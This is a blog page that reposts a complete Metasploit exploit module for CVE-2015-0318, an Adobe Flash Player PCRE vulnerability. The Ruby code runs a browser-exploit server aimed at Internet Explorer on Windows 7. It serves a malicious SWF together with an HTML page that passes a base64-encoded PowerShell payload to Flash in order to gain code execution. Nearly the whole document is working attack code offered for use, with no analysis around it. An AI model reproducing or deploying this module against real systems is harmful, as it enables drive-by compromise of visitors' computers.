Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863542155

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  CLASSID =  'd27cdb6e-ae6d-11cf-96b8-444553540000'

  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Adobe Flash Player PCRE Regex Vulnerability",
      'Description'    => %q{
        This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error
        in the PCRE engine, specifically in the handling of the \c escape sequence when followed by
        a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Mark Brand', # Found vuln
          'sinn3r'      # MSF
        ],
      'References'     =>
        [
          [ 'CVE', '2015-0318' ],
          [ 'URL', 'http://googleprojectzero.blogspot.com/2015/02/exploitingscve-2015-0318sinsflash.html' ],
          [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=199' ]
        ],
      'Payload'        =>
        {
          'Space' => 1024,
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          'Retries' => true
        },
      'Platform'       => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :clsid   => "{#{CLASSID}}",
          :method  => "LoadMovie",
          :os_name => OperatingSystems::Match::WINDOWS_7,
          :ua_name => Msf::HttpClients::IE,
          # Ohter versions are vulnerable but .235 is the one that works for me pretty well
          # So we're gonna limit to this one for now. More validation needed in the future.
          :flash   => lambda { |ver| ver == '16.0.0.235' }
        },
      'Targets'        =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Nov 25 2014",
      'DefaultTarget'  => 0))
  end

  def exploit
    # Please see data/exploits/CVE-2015-0318/ for source,
    # that's where the actual exploit is
    @swf = create_swf
    super
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status("Sending SWF...")
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
      return
    end

    print_status("Sending HTML...")
    tag = retrieve_tag(cli, request)
    profile = get_profile(tag)
    profile[:tried] = false unless profile.nil? # to allow request the swf
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end

  def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    target_payload = get_payload(cli, target_info)
    psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
    b64_payload = Rex::Text.encode_base64(psh_payload)

    html_template = %Q|<html>
    <body>
    <object classid="clsid:#{CLASSID}" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=b64_payload%>" />
    <param name="Play" value="true" />
    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

  def create_swf
    path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2015-0318", "Main.swf" )
    swf = ::File.open(path, 'rb') { |f| swf = f.read }

    swf
  end

end